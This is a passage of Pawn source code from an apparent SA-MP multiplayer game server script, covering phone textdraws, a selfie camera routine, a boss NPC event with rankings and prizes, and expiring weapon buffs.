		        TextDrawShowForPlayer(playerid, PhoneTest[4]);

		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][8]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][9]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][10]);
		        TextDrawShowForPlayer(playerid, PhoneTest[74]);
		    }
      case 12://inja hacking app Load Mishe
		    {
		        TextDrawShowForPlayer(playerid, PhoneTest[0]);

		        TextDrawShowForPlayer(playerid, PhoneTest[2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[3]);
		        TextDrawShowForPlayer(playerid, PhoneTest[4]);
		        TextDrawShowForPlayer(playerid, NokiaPtds[playerid][2]);
		        TextDrawShowForPlayer(playerid, PhoneTest[27]);
		        TextDrawShowForPlayer(playerid, PhoneTest[12]);
		        TextDrawShowForPlayer(playerid, PhoneTest[13]);
		        TextDrawShowForPlayer(playerid, PhoneTest[14]);
		        TextDrawShowForPlayer(playerid, PhoneTest[15]);
		        TextDrawShowForPlayer(playerid, PhoneTest[16]);
		        TextDrawShowForPlayer(playerid, PhoneTest[17]);
		        TextDrawShowForPlayer(playerid, PhoneTest[18]);
		        TextDrawShowForPlayer(playerid, PhoneTest[19]);
		        TextDrawShowForPlayer(playerid, PhoneTest[20]);
		        TextDrawShowForPlayer(playerid, PhoneTest[21]);
		        TextDrawShowForPlayer(playerid, PhoneTest[22]);
		        TextDrawShowForPlayer(playerid, PhoneTest[23]);
		        TextDrawShowForPlayer(playerid, PhoneTest[24]);
		        TextDrawShowForPlayer(playerid, PhoneTest[78]);
		        TextDrawShowForPlayer(playerid, PhoneTest[26]);

		    }
		}

	}
	forward updateselfie(playerid);
	public updateselfie(playerid)
	{
		new Float:px, Float:py, Float:pz, Float:pa;
		GetPlayerFacingAngle(playerid,pa);
		if(pa >= 0.0 && pa <= 22.5) //n1
		{
			GetPlayerPos(playerid, px, py, pz);
			SetPlayerCameraLookAt(playerid, px, py+Ldistance[playerid], pz+LHeight[playerid]);
			SetPlayerCameraPos(playerid, px, py+Cdistance[playerid], pz+CHeight[playerid]);
			LoopingAnim(playerid,"ON_LOOKERS","Pointup_loop",6.1,1,1,1,1,0);

		}
		if(pa >= 332.6 && pa < 0.0) //n2
		{
			GetPlayerPos(playerid, px, py, pz);
			SetPlayerCameraLookAt(playerid, px, py+Ldistance[playerid], pz+LHeight[playerid]);
			SetPlayerCameraPos(playerid, px, py+Cdistance[playerid], pz+CHeight[playerid]);
			LoopingAnim(playerid,"ON_LOOKERS","Pointup_loop",6.1,1,1,1,1,0);

		}
		if(pa >= 22.6 && pa <= 67.5) //nw
		{
			GetPlayerPos(playerid, px, py, pz);
			SetPlayerCameraLookAt(playerid, px-Ldistance[playerid], py+Ldistance[playerid], pz+LHeight[playerid]);
			SetPlayerCameraPos(playerid, px-Cdistance[playerid], py+Cdistance[playerid], pz+CHeight[playerid]);
			LoopingAnim(playerid,"ON_LOOKERS","Pointup_loop",6.1,1,1,1,1,0);

		}
		if(pa >= 67.6 && pa <= 112.5) //w
		{
			GetPlayerPos(playerid, px, py, pz);
			SetPlayerCameraLookAt(playerid, px-Ldistance[playerid], py, pz+LHeight[playerid]);
			SetPlayerCameraPos(playerid, px-Cdistance[playerid], py, pz+CHeight[playerid]);
			LoopingAnim(playerid,"ON_LOOKERS","Pointup_loop",6.1,1,1,1,1,0);

		}
		if(pa >= 112.6 && pa <= 157.5) //sw
		{
			GetPlayerPos(playerid, px, py, pz);
			SetPlayerCameraLookAt(playerid, px-Ldistance[playerid], py-Ldistance[playerid], pz+LHeight[playerid]);
			SetPlayerCameraPos(playerid, px-Cdistance[playerid], py-Cdistance[playerid], pz+CHeight[playerid]);
			LoopingAnim(playerid,"ON_LOOKERS","Pointup_loop",6.1,1,1,1,1,0);

		}
		if(pa >= 157.6 && pa <= 202.5) //s
		{
			GetPlayerPos(playerid, px, py, pz);
			SetPlayerCameraLookAt(playerid, px, py-Ldistance[playerid], pz+LHeight[playerid]);
			SetPlayerCameraPos(playerid, px, py-Cdistance[playerid], pz+CHeight[playerid]);
			LoopingAnim(playerid,"ON_LOOKERS","Pointup_loop",6.1,1,1,1,1,0);

		}
		if(pa >= 202.6 && pa <= 247.5)//se
		{
			GetPlayerPos(playerid, px, py, pz);
			SetPlayerCameraLookAt(playerid, px+Ldistance[playerid], py-Ldistance[playerid], pz+LHeight[playerid]);
			SetPlayerCameraPos(playerid, px+Cdistance[playerid], py-Cdistance[playerid], pz+CHeight[playerid]);
			LoopingAnim(playerid,"ON_LOOKERS","Pointup_loop",6.1,1,1,1,1,0);

		}
		if(pa >= 247.6 && pa <= 292.5)//e
		{
			GetPlayerPos(playerid, px, py, pz);
			SetPlayerCameraLookAt(playerid, px+Ldistance[playerid], py, pz+LHeight[playerid]);
			SetPlayerCameraPos(playerid, px+Cdistance[playerid], py, pz+CHeight[playerid]);
			LoopingAnim(playerid,"ON_LOOKERS","Pointup_loop",6.1,1,1,1,1,0);

		}
		if(pa >= 292.6 && pa <= 332.5)//e
		{
			GetPlayerPos(playerid, px, py, pz);
			SetPlayerCameraLookAt(playerid, px+Ldistance[playerid], py+Ldistance[playerid], pz+LHeight[playerid]);
			SetPlayerCameraPos(playerid, px+Cdistance[playerid], py+Cdistance[playerid], pz+CHeight[playerid]);
			LoopingAnim(playerid,"ON_LOOKERS","Pointup_loop",6.1,1,1,1,1,0);

		}
		if(pa >= 332.6 && pa <= 360.9)//0
		{
			GetPlayerPos(playerid,px,py,pz);
			SetPlayerCameraLookAt(playerid,px,py+Ldistance[playerid],pz+LHeight[playerid]);
			SetPlayerCameraPos(playerid,px,py+Cdistance[playerid],pz+CHeight[playerid]);
			LoopingAnim(playerid,"ON_LOOKERS","Pointup_loop",6.1,1,1,1,1,0);

		}
	}
stock GetPlayerIDFromName(ppName[])
{
  ForEachPlayer(i)
  {
      new ppName2[MAX_PLAYER_NAME];
      GetPlayerName(i, ppName2, sizeof(ppName2));
      if(strcmp(ppName2, ppName, true, strlen(ppName)) == 0)
      {
        return i;
      }
  }
  return INVALID_PLAYER_ID;
}
public FCNPC_OnSpawn(npcid)
{
if(npcid == NPCLS){TeadadPlayers--;}
if(npcid == NPCLV){TeadadPlayers--;}
if(npcid == NPCSF){TeadadPlayers--;}
return 1;
}
// BOSS by Sina
stock GetPlayerBossRank(playerid)
{
	new rank=1;
	ForEachPlayer(i)
	{
		if(BossScore[i]>BossScore[playerid])rank+=1;
	}
	return rank;
}
stock GivePlayerBossPrize(playerid,rank)
{
	if(rank<1||rank>10)return 1;
	switch(rank)
	{
		case 1:GivePlayerPool(playerid,10000),PINFO[playerid][pExp]+=5,PINFO[playerid][pGold]+=10,SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]),SaveKonVal(playerid, "pExp", PINFO[playerid][pExp]),PINFO[playerid][pBuff]+=120,SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]),SCM(playerid,COLOR_LIGHTBLUE,"Your rank was 1 and you got $10,000 and 5 respect points and 10 golds and 120 buffs as prize.");
		case 2:GivePlayerPool(playerid,9000),PINFO[playerid][pExp]+=4,PINFO[playerid][pGold]+=5,SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]),SaveKonVal(playerid, "pExp", PINFO[playerid][pExp]),PINFO[playerid][pBuff]+=90,SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]),SCM(playerid,COLOR_LIGHTBLUE,"Your rank was 2 and you got $9,000 and 4 respect points and 5 golds and 90 buffs as prize.");
		case 3:GivePlayerPool(playerid,8000),PINFO[playerid][pExp]+=3,PINFO[playerid][pGold]+=3,SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]),SaveKonVal(playerid, "pExp", PINFO[playerid][pExp]),SCM(playerid,COLOR_LIGHTBLUE,"Your rank was 3 and you got $8,000 and 3 respect points and 3 golds as prize.");
		case 4:GivePlayerPool(playerid,7000),PINFO[playerid][pExp]+=2,SaveKonVal(playerid, "pExp", PINFO[playerid][pExp]),PINFO[playerid][pBuff]+=50,SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]),SCM(playerid,COLOR_LIGHTBLUE,"Your rank was 4 and you got $7,000 and 2 respect points and 50 buffs as prize.");
		case 5:GivePlayerPool(playerid,6000),PINFO[playerid][pExp]+=1,SaveKonVal(playerid, "pExp", PINFO[playerid][pExp]),PINFO[playerid][pBuff]+=50,SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]),SCM(playerid,COLOR_LIGHTBLUE,"Your rank was 5 and you got $6,000 and 1 respect points and 50 buffs as prize.");
		case 6:GivePlayerPool(playerid,5000),PINFO[playerid][pBuff]+=50,SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]),SCM(playerid,COLOR_LIGHTBLUE,"Your rank was 6 and you got $5,000 and 50 buffs as prize.");
		case 7:GivePlayerPool(playerid,4000),PINFO[playerid][pBuff]+=50,SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]),SCM(playerid,COLOR_LIGHTBLUE,"Your rank was 7 and you got $4,000 and 50 buffs as prize.");
		case 8:GivePlayerPool(playerid,3000),PINFO[playerid][pBuff]+=50,SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]),SCM(playerid,COLOR_LIGHTBLUE,"Your rank was 8 and you got $3,000 and 50 buffs as prize.");
		case 9:GivePlayerPool(playerid,2000),PINFO[playerid][pBuff]+=50,SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]),SCM(playerid,COLOR_LIGHTBLUE,"Your rank was 9 and you got $2,000 and 50 buffs as prize.");
		case 10:GivePlayerPool(playerid,1000),PINFO[playerid][pBuff]+=50,SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]),SCM(playerid,COLOR_LIGHTBLUE,"Your rank was 10 and you got $1,000 and 50 buffs as prize.");
		default:return 1;
	}
	return 1;
}
stock GetTopBossKillers(&first,&second,&third)
{
	new tmp;
	ForEachPlayer(i)
	{
		if(BossScore[i]==0)continue;
		if((tmp=GetPlayerBossRank(i))==1)first=i;
		else if(tmp==2)second=i;
		else if(tmp==3)third=i;
	}
	return 1;
}
stock ReturnBossKillerScore(playerid)
{
	new str[40];
	format(str, sizeof(str), "%s w/ %s pts",PINFO[playerid][pName],FormatNumber(floatround(BossScore[playerid])));
	return str;
}
stock CreateBossTD()
{
	Boss_TD[0] = TextDrawCreate(245.294235, 356.250152, "box");
	TextDrawLetterSize(Boss_TD[0], 0.000000, 11.129414);
	TextDrawTextSize(Boss_TD[0], 367.000000, 0.000000);
	TextDrawAlignment(Boss_TD[0], 1);
	TextDrawColor(Boss_TD[0], -1);
	TextDrawUseBox(Boss_TD[0], 1);
	TextDrawBoxColor(Boss_TD[0], 94);
	TextDrawSetShadow(Boss_TD[0], 0);
	TextDrawBackgroundColor(Boss_TD[0], 255);
	TextDrawFont(Boss_TD[0], 1);
	TextDrawSetProportional(Boss_TD[0], 1);

	Boss_TD[1] = TextDrawCreate(214.647109, 335.833435, "");
	TextDrawTextSize(Boss_TD[1], 90.000000, 90.000000);
	TextDrawAlignment(Boss_TD[1], 1);
	TextDrawColor(Boss_TD[1], -1);
	TextDrawSetShadow(Boss_TD[1], 0);
	TextDrawFont(Boss_TD[1], 5);
	TextDrawBackgroundColor(Boss_TD[1], 0x00000000);
	TextDrawSetProportional(Boss_TD[1], 0);
	TextDrawSetPreviewModel(Boss_TD[1], 2908);
	TextDrawSetPreviewRot(Boss_TD[1], 270.000000, 91.000000, 0.000000, 1.000000);

	Boss_TD[2] = TextDrawCreate(279.647216, 381.333374, "box");
	TextDrawLetterSize(Boss_TD[2], 0.000000, -0.258823);
	TextDrawTextSize(Boss_TD[2], 363.000000, 0.000000);
	TextDrawAlignment(Boss_TD[2], 1);
	TextDrawColor(Boss_TD[2], -1);
	TextDrawUseBox(Boss_TD[2], 1);
	TextDrawBoxColor(Boss_TD[2], -2147483393);
	TextDrawSetShadow(Boss_TD[2], 0);
	TextDrawBackgroundColor(Boss_TD[2], 255);
	TextDrawFont(Boss_TD[2], 1);
	TextDrawSetProportional(Boss_TD[2], 1);

	Boss_TD[3] = TextDrawCreate(279.647216, 381.333374, "box");
	TextDrawLetterSize(Boss_TD[3], 0.000000, -0.258823);
	TextDrawTextSize(Boss_TD[3], 346.530395, 0.000000);
	TextDrawAlignment(Boss_TD[3], 1);
	TextDrawColor(Boss_TD[3], -1);
	TextDrawUseBox(Boss_TD[3], 1);
	TextDrawBoxColor(Boss_TD[3], -822083329);
	TextDrawSetShadow(Boss_TD[3], 0);
	TextDrawBackgroundColor(Boss_TD[3], 255);
	TextDrawFont(Boss_TD[3], 1);
	TextDrawSetProportional(Boss_TD[3], 1);

	Boss_TD[4] = TextDrawCreate(293.764648, 356.250061, "BOSS");
	TextDrawLetterSize(Boss_TD[4], 0.241882, 1.494999);
	TextDrawAlignment(Boss_TD[4], 1);
	TextDrawColor(Boss_TD[4], -1);
	TextDrawSetShadow(Boss_TD[4], 0);
	TextDrawSetOutline(Boss_TD[4], 1);
	TextDrawBackgroundColor(Boss_TD[4], 255);
	TextDrawFont(Boss_TD[4], 2);
	TextDrawSetProportional(Boss_TD[4], 1);

	Boss_TD[5] = TextDrawCreate(275.882324, 384.833374, "_");
	TextDrawLetterSize(Boss_TD[5], 0.153411, 1.308332);
	TextDrawAlignment(Boss_TD[5], 1);
	TextDrawColor(Boss_TD[5], -1);
	TextDrawSetShadow(Boss_TD[5], 0);
	TextDrawSetOutline(Boss_TD[5], 1);
	TextDrawBackgroundColor(Boss_TD[5], 255);
	TextDrawFont(Boss_TD[5], 1);
	TextDrawSetProportional(Boss_TD[5], 1);

	Boss_TD[6] = TextDrawCreate(246.235305, 355.416809, "box");
	TextDrawLetterSize(Boss_TD[6], 0.000000, 10.944718);
	TextDrawTextSize(Boss_TD[6], 241.000000, 0.000000);
	TextDrawAlignment(Boss_TD[6], 1);
	TextDrawColor(Boss_TD[6], -5963521);
	TextDrawUseBox(Boss_TD[6], 1);
	TextDrawBoxColor(Boss_TD[6], -5963521);
	TextDrawSetShadow(Boss_TD[6], 0);
	TextDrawBackgroundColor(Boss_TD[6], 255);
	TextDrawFont(Boss_TD[6], 1);
	TextDrawSetProportional(Boss_TD[6], 1);

	Boss_TD[7] = TextDrawCreate(371.235321, 355.416809, "box");
	TextDrawLetterSize(Boss_TD[7], 0.000000, 10.944718);
	TextDrawTextSize(Boss_TD[7], 366.000000, 0.000000);
	TextDrawAlignment(Boss_TD[7], 1);
	TextDrawColor(Boss_TD[7], -5963521);
	TextDrawUseBox(Boss_TD[7], 1);
	TextDrawBoxColor(Boss_TD[7], -5963521);
	TextDrawSetShadow(Boss_TD[7], 0);
	TextDrawBackgroundColor(Boss_TD[7], 255);
	TextDrawFont(Boss_TD[7], 1);
	TextDrawSetProportional(Boss_TD[7], 1);

	Boss_TD[8] = TextDrawCreate(371.235321, 355.416809, "box");
	TextDrawLetterSize(Boss_TD[8], 0.000000, -0.645270);
	TextDrawTextSize(Boss_TD[8], 240.952621, 0.000000);
	TextDrawAlignment(Boss_TD[8], 1);
	TextDrawColor(Boss_TD[8], -5963521);
	TextDrawUseBox(Boss_TD[8], 1);
	TextDrawBoxColor(Boss_TD[8], -5963521);
	TextDrawSetShadow(Boss_TD[8], 0);
	TextDrawBackgroundColor(Boss_TD[8], 255);
	TextDrawFont(Boss_TD[8], 1);
	TextDrawSetProportional(Boss_TD[8], 1);

	ForEachPlayer(i)
	{
		Boss_PTD[i] = CreatePlayerTextDraw(i,306.000152, 421.583374, "Points:_0_]_Ranking:_0");
		PlayerTextDrawLetterSize(i,Boss_PTD[i], 0.172705, 1.553333);
		PlayerTextDrawAlignment(i,Boss_PTD[i], 2);
		PlayerTextDrawColor(i,Boss_PTD[i], -1);
		PlayerTextDrawSetShadow(i,Boss_PTD[i], 0);
		PlayerTextDrawSetOutline(i,Boss_PTD[i], 1);
		PlayerTextDrawBackgroundColor(i,Boss_PTD[i], 255);
		PlayerTextDrawFont(i,Boss_PTD[i], 2);
		PlayerTextDrawSetProportional(i,Boss_PTD[i], 1);
	}
	return 1;
}
stock SetupBossTD()
{
	TextDrawSetString(Boss_TD[5],"Health: 50000.0");
	return 1;
}
stock DestroyBossTD()
{
	for(new i=0;i<sizeof(Boss_TD);i++)
	{
		TextDrawDestroy(Boss_TD[i]);
	}
	ForEachPlayer(i)
	{
		PlayerTextDrawDestroy(i,Boss_PTD[i]);
	}
	return 1;
}
stock CheckForAim(playerid)
{
	if(GodmodeFeature[playerid])return 1;
	if(IsPlayerConnected(BossTarget)&&IsPlayerInDynamicArea(BossTarget, BossArea, true))
	{
		if(!GodmodeFeature[BossTarget])return 1;
	}
	FCNPC_AimAtPlayer(Boss,playerid,true,250,true);
	BossTarget=playerid;
	return 1;
}
function DestroyBoss()
{
	FCNPC_Destroy(Boss);
	Boss=-1;
	IsBossAsleep=true;
	//ThereIsBoss=false;
	return 1;
}
function DestroyAngel()
{
	FCNPC_Destroy(Angel);
	Angel=-1;
	//ThereIsBoss=false;
	return 1;
}
function BossDestroyer()
{
	DestroyDynamicArea(BossArea);
	BossArea=-1;
	DestroyDynamicArea(BossArea2);
	BossArea2=-1;
	DestroyDynamic3DTextLabel(BossLabel);
	BossLabel=Text3D:-1;
	DestroyDynamic3DTextLabel(AngelLabel);
	AngelLabel=Text3D:-1;
	DestroyBossTD();
	SetTimer("DestroyBoss",3000,false);
	SetTimer("DestroyAngel",3000,false);
	//ThereIsBoss=false;
	BossTimer=-1;
	SendClientMessageToAll(COLOR_SINAGHERMEZ,"[BOSS-EVENT]: {FFFFFF}Boss gone, because killers don't killed boss in 30 minutes.");
	return 1;
}
stock ShowPlayerBossTD(playerid)
{
	for(new i=0;i<sizeof(Boss_TD);i++)
	{
		TextDrawShowForPlayer(playerid,Boss_TD[i]);
	}
	PlayerTextDrawShow(playerid,Boss_PTD[playerid]);
	BossTDShowed[playerid]=true;
	return 1;
}
stock HidePlayerBossTD(playerid)
{
	for(new i=0;i<sizeof(Boss_TD);i++)
	{
		TextDrawHideForPlayer(playerid,Boss_TD[i]);
	}
	PlayerTextDrawHide(playerid,Boss_PTD[playerid]);
	BossTDShowed[playerid]=false;
	return 1;
}

// ---
public FCNPC_OnTakeDamage(npcid, damagerid, weaponid, bodypart, Float:health_loss)
{
	 // BOSS by Sina
	if(npcid==Boss&&BossArea!=-1)
	{
		if(IsBossAsleep)
		{
			FCNPC_ResetAnimation(Boss);
			IsBossAsleep=false;
			UpdateDynamic3DTextLabelText(BossLabel,0xFF0000FF,"I'm here to conquer the world!");
			new str[100];
			format(str,sizeof(str),"[BOSS-EVENT]: {FFFFFF}%s has awaken the boss, He can move around now!",PlayerInfo[damagerid][pName]);
			SendClientMessageToAll(COLOR_SINAGHERMEZ,str);
		}
		BossScore[damagerid]+=health_loss;
		CheckForAim(damagerid);
	}
	// ---
	return 1;
}
public FCNPC_OnGiveDamage(npcid, damagedid, weaponid, bodypart, Float:health_loss)
{
if(npcid==Boss&&BossArea!=-1)
{
if(FCNPC_GetHealth(Boss)<=20000.0)
{
if(CantHoldGun[damagedid]!=1)
{
new xRnd=RandomShomare(1,500);
if(xRnd>=400&&xRnd<=415){CantHoldGun[damagedid]=1;SCM(damagedid, COLOR_SINAGHERMEZ, "Boss shot you with Lucky Time buff, so you can't hold guns.");}
}
}
}
return 1;
}
new xJsM[144];
forward DisableMightyM4(playerid);
public DisableMightyM4(playerid)
{
	if(MightyM4Timer[playerid]!=0){KillTimer(MightyM4Timer[playerid]);MightyM4Timer[playerid]=0;}
	MightyM4[playerid] = false;
	SCM(playerid, COLOR_LIGHTRED, "Your Mighty M4 item has expired.");
	format(xJsM, sizeof(xJsM), "%s's Mighty M4 item has expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 1);
	return 1;
}
forward DisableMightyMP5(playerid);
public DisableMightyMP5(playerid)
{
    if(MightyMP5Timer[playerid]!=0){KillTimer(MightyMP5Timer[playerid]);MightyMP5Timer[playerid]=0;}
	MightyMP5[playerid] = false;
	SCM(playerid, COLOR_LIGHTRED, "Your Mighty MP5 item has expired.");
	format(xJsM, sizeof(xJsM), "%s's Mighty MP5 item has expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 2);
	return 1;
}
forward DisableMightyDeagle(playerid);
public DisableMightyDeagle(playerid)
{
    if(MightyDeagleTimer[playerid]!=0){KillTimer(MightyDeagleTimer[playerid]);MightyDeagleTimer[playerid]=0;}
	MightyDeagle[playerid] = false;
	SCM(playerid, COLOR_LIGHTRED, "Your Mighty Deagle item has expired.");
	format(xJsM, sizeof(xJsM), "%s's Mighty Deagle item has  expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 3);
	return 1;
}
forward DisableDeadlyM4(playerid);
public DisableDeadlyM4(playerid)
{
	if(DeadlyM4Timer[playerid]!=0){KillTimer(DeadlyM4Timer[playerid]);DeadlyM4Timer[playerid]=0;}
	DeadlyM4[playerid] = false;
	SCM(playerid, COLOR_LIGHTRED, "Your Deadly M4 item has expired.");
	format(xJsM, sizeof(xJsM), "%s's Deadly M4 item has expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 4);
	return 1;
}
forward DisableDeadlyMP5(playerid);
public DisableDeadlyMP5(playerid)
{
    if(DeadlyMP5Timer[playerid]!=0){KillTimer(DeadlyMP5Timer[playerid]);DeadlyMP5Timer[playerid]=0;}
	DeadlyMP5[playerid] = false;
	SCM(playerid, COLOR_LIGHTRED, "Your Deadly MP5 item has expired.");
	format(xJsM, sizeof(xJsM), "%s's Deadly MP5 item has expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 5);
	return 1;
}
forward DisableSuperMan(playerid);
public DisableSuperMan(playerid)
{
    if(SuperManTimer[playerid]!=0){KillTimer(SuperManTimer[playerid]);SuperManTimer[playerid]=0;}
	SuperMan[playerid] = false;
	if(ImInJump[playerid]==1){ImInJump[playerid]=0;}
	SCM(playerid, COLOR_LIGHTRED, "Your SuperMan item has expired.");
	format(xJsM, sizeof(xJsM), "%s's SuperMan item has expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 12);
	return 1;
}
forward DisableDeadlyDeagle(playerid);
public DisableDeadlyDeagle(playerid)
{
    if(DeadlyDeagleTimer[playerid]!=0){KillTimer(DeadlyDeagleTimer[playerid]);DeadlyDeagleTimer[playerid]=0;}
	DeadlyDeagle[playerid] = false;
	SCM(playerid, COLOR_LIGHTRED, "Your Deadly Deagle item has expired.");
	format(xJsM, sizeof(xJsM), "%s's Deadly Deagle item has  expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 6);
	return 1;
}
forward DisableLessDamaged(playerid);
public DisableLessDamaged(playerid)
{
	if(LessDamagedTimer[playerid]!=0){KillTimer(LessDamagedTimer[playerid]);LessDamagedTimer[playerid]=0;}
	LessDamaged[playerid] = false;
	GodmodeFeature[playerid] = false;
	SetPlayerKoon(true, playerid, 100);
	SCM(playerid, COLOR_LIGHTRED, "Your Less Damaged item has expired.");
	format(xJsM, sizeof(xJsM), "%s's Less Damaged item has expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 7);
	return 1;
}
forward DisableExtraDamage1(playerid);
public DisableExtraDamage1(playerid)
{
	if(ExtraDamage1Timer[playerid]!=0){KillTimer(ExtraDamage1Timer[playerid]);ExtraDamage1Timer[playerid]=0;}
	ExtraDamage1[playerid] = false;
	SCM(playerid, COLOR_LIGHTRED, "Your Extra Damage I item has expired.");
	format(xJsM, sizeof(xJsM), "%s's Extra Damage I item has expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 8);
	return 1;
}
forward DisableExtraDamage2(playerid);
public DisableExtraDamage2(playerid)
{
	if(ExtraDamage2Timer[playerid]!=0){KillTimer(ExtraDamage2Timer[playerid]);ExtraDamage2Timer[playerid]=0;}
	ExtraDamage2[playerid] = false;
	SCM(playerid, COLOR_LIGHTRED, "Your Extra Damage II item has expired.");
	format(xJsM, sizeof(xJsM), "%s's Extra Damage II item has expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 9);
	return 1;
}
forward DisableExtraDamage3(playerid);
public DisableExtraDamage3(playerid)
{
	if(ExtraDamage3Timer[playerid]!=0){KillTimer(ExtraDamage3Timer[playerid]);ExtraDamage3Timer[playerid]=0;}
	ExtraDamage3[playerid] = false;
	SCM(playerid, COLOR_LIGHTRED, "Your Extra Damage III item has expired.");
	format(xJsM, sizeof(xJsM), "%s's Extra Damage III item has expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 10);
	return 1;
}
forward DisableLuckyTime(playerid);
public DisableLuckyTime(playerid)
{
	if(LuckyTimeTimer[playerid]!=0){KillTimer(LuckyTimeTimer[playerid]);LuckyTimeTimer[playerid]=0;}
	LuckyTime[playerid] = false;
	SCM(playerid, COLOR_LIGHTRED, "Your Lucky Time item has expired.");
	format(xJsM, sizeof(xJsM), "%s's Lucky Time item has expired.", RPName(playerid));
	ProxDetector(30.0, playerid, xJsM, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	OnPlayerDisableBuff(playerid, 11);
	return 1;
}
function OnPlayerEnableBuff(playerid, buff)
{
IHaveBuffs[playerid]=1;
return 1;
}
function OnPlayerDisableBuff(playerid, buff)
{
IHaveBuffs[playerid]=0;
return 1;
}
stock GetBuffName(buffid)
{
new bName[30];
if(buffid==1){bName="Mighty M4";}
if(buffid==2){bName="Mighty Deagle";}
if(buffid==3){bName="Mighty MP5";}
if(buffid==4){bName="Deadly M4";}
if(buffid==5){bName="Deadly Deagle";}
if(buffid==6){bName="Deadly MP5";}
if(buffid==7){bName="Less Damaged";}
if(buffid==8){bName="Extra Damage I";}
if(buffid==9){bName="Extra Damage II";}
if(buffid==10){bName="Extra Damage III";}
if(buffid==11){bName="Lucky Time";}
if(buffid==12){bName="SuperMan";}
return bName;
}
function ResetBuffs(playerid)
{
if(MightyM4Timer[playerid]!=0){KillTimer(MightyM4Timer[playerid]);MightyM4Timer[playerid]=0;}
if(MightyDeagleTimer[playerid]!=0){KillTimer(MightyDeagleTimer[playerid]);MightyDeagleTimer[playerid]=0;}
if(MightyMP5Timer[playerid]!=0){KillTimer(MightyMP5Timer[playerid]);MightyMP5Timer[playerid]=0;}
if(DeadlyM4Timer[playerid]!=0){KillTimer(DeadlyM4Timer[playerid]);DeadlyM4Timer[playerid]=0;}
if(DeadlyDeagleTimer[playerid]!=0){KillTimer(DeadlyDeagleTimer[playerid]);DeadlyDeagleTimer[playerid]=0;}
if(DeadlyMP5Timer[playerid]!=0){KillTimer(DeadlyMP5Timer[playerid]);DeadlyMP5Timer[playerid]=0;}
if(LessDamagedTimer[playerid]!=0){KillTimer(LessDamagedTimer[playerid]);LessDamagedTimer[playerid]=0;}
if(ExtraDamage1Timer[playerid]!=0){KillTimer(ExtraDamage1Timer[playerid]);ExtraDamage1Timer[playerid]=0;}
if(ExtraDamage2Timer[playerid]!=0){KillTimer(ExtraDamage2Timer[playerid]);ExtraDamage2Timer[playerid]=0;}
if(ExtraDamage3Timer[playerid]!=0){KillTimer(ExtraDamage3Timer[playerid]);ExtraDamage3Timer[playerid]=0;}
if(LuckyTimeTimer[playerid]!=0){KillTimer(LuckyTimeTimer[playerid]);LuckyTimeTimer[playerid]=0;}
if(SuperManTimer[playerid]!=0){KillTimer(SuperManTimer[playerid]);SuperManTimer[playerid]=0;}
if(LessDamaged[playerid]){GodmodeFeature[playerid] = false;}
if(SuperMan[playerid]){if(ImInJump[playerid]==1){ImInJump[playerid]=0;}}
MightyM4[playerid]=false;MightyDeagle[playerid]=false;MightyMP5[playerid]=false;DeadlyM4[playerid]=false;
DeadlyDeagle[playerid]=false;DeadlyMP5[playerid]=false;LessDamaged[playerid]=false;ExtraDamage1[playerid]=false;
ExtraDamage2[playerid]=false;ExtraDamage3[playerid]=false;LuckyTime[playerid]=false;SuperMan[playerid]=false;
for(new i=1;i<13;i++){OnPlayerDisableBuff(playerid, i);}
return 1;
}
stock GetVehicleOwnerID(vehicleid)
{
